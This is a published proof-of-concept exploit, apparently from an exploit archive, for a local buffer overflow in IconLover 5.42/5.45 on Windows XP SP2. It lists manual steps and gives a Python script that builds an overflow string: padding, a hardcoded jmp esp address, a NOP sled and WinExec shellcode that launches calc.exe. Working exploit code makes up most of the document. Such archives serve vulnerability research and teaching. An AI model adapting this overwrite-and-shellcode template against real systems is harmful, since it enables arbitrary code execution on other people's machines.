IconLover 5.42 - Local Buffer Overflow Exploit

# Exploit Title: IconLover v5.42 Buffer Overflow Exploit
# Date: 29/09/2015
# Exploit Author: cor3sm4sh3r
# Contact: https://in.linkedin.com/in/cor3sm4sh3r
# Twitter: https://twitter.com/cor3sm4sh3r
# Category: Local
# Tested : win XP professional sp2 
 
 
'''
 
Affected Product(s):
====================
AHA-Soft
Product: IconLover - Software (Windows) 5.42 and 5.45
 
 
Manual steps to exploit...
1. Copy the content of  exploit.txt to your clipboard
2. Run the IconLover.exe software
3. Click the File -> New Icon Lybrary option
4. Click the Lybrary and push the Download button
5. Paste it the input Website Adress (URL) AAAA+... string click ok and hide
6. Successful exploitation will open an instance of calc.exe!
  
'''
 
 
#!/usr/bin/env python
#badchars = "\x00\x0a\x0d"
junk  = "\x41" * 1039
eip  = "\xed\x1e\x94\x7c"    #jmp esp 7c941eed ntdll.dll ( XP sp2 )
nopsled ="\x90"*20
 
shellcode  = "\x33\xc0"             #=> XOR EAX,EAX          |  Zero out EAX register
shellcode += "\x50"                 #=> PUSH EAX             |  Push EAX to have null-byte padding for "calc.exe"
shellcode += "\x68\x2E\x65\x78\x65" #=> PUSH ".exe"          |  Push The ASCII string to the stack
shellcode += "\x68\x63\x61\x6C\x63" #=> PUSH "calc"          |
shellcode += "\x8B\xC4"             #=> MOV EAX,ESP          |  Put a pointer to the ASCII string in EAX
shellcode += "\x6A\x01"             #=> PUSH 1               |  Push uCmdShow parameter to the stack
shellcode += "\x50"                 #=> PUSH EAX             |  Push the pointer to lpCmdLine to the stack
shellcode += "\xBB\x4d\x11\x86\x7C" #=> MOV EBX,7C86114d     |  Move the pointer to WinExec() into EBX
shellcode += "\xFF\xD3"             #=> CALL EBX    
shellcode += "\x33\xc0"             #=> XOR EAX,EAX          |  Zero out EAX register
shellcode += "\x50"                 #=> PUSH EAX             |  Push EAX
shellcode += "\xBB\xa2\xca\x81\x7c" #=> MOV EBX,7C81caa2     |  Exit process
shellcode += "\xFF\xD3"             #=> CALL EBX
 
packet = junk + eip + nopsled + shellcode + nopsled
 
file=open('exploit.txt','w')
file.write(packet)
file.close()

#  0day.today [2018-04-09]  #